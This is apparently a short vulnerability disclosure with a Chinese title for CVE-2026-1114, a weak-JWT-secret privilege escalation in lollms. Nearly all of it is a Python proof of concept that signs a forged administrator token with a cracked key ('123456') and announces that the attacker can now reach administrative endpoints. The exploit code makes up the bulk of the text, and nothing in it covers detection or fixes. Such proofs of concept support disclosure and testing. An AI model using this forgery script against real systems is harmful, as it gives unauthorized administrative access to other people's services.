CVE-2026-1114 lollms JWT弱密钥权限提升漏洞

import jwt import datetime # PoC: Forging an admin token using a weak secret key # This script simulates the step after the attacker has cracked the weak key via brute force. def forge_admin_token(weak_secret): # Payload modified to escalate privileges to Administrator payload = { "user_id": 1, "username": "admin", "role": "administrator", "iat": datetime.datetime.utcnow(), "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24) } # Generate a new JWT signed with the cracked weak secret # Algorithm is typically HS256 for this type of vulnerability forged_token = jwt.encode(payload, weak_secret, algorithm="HS256") return forged_token if __name__ == "__main__": # In a real attack, this key is derived from offline cracking cracked_weak_key = "123456" print("[+] Attempting to forge admin token with weak key...") admin_token = forge_admin_token(cracked_weak_key) print(f"[+] Forged Token: {admin_token}") print("[+] Attacker can now use this token to access administrative endpoints.")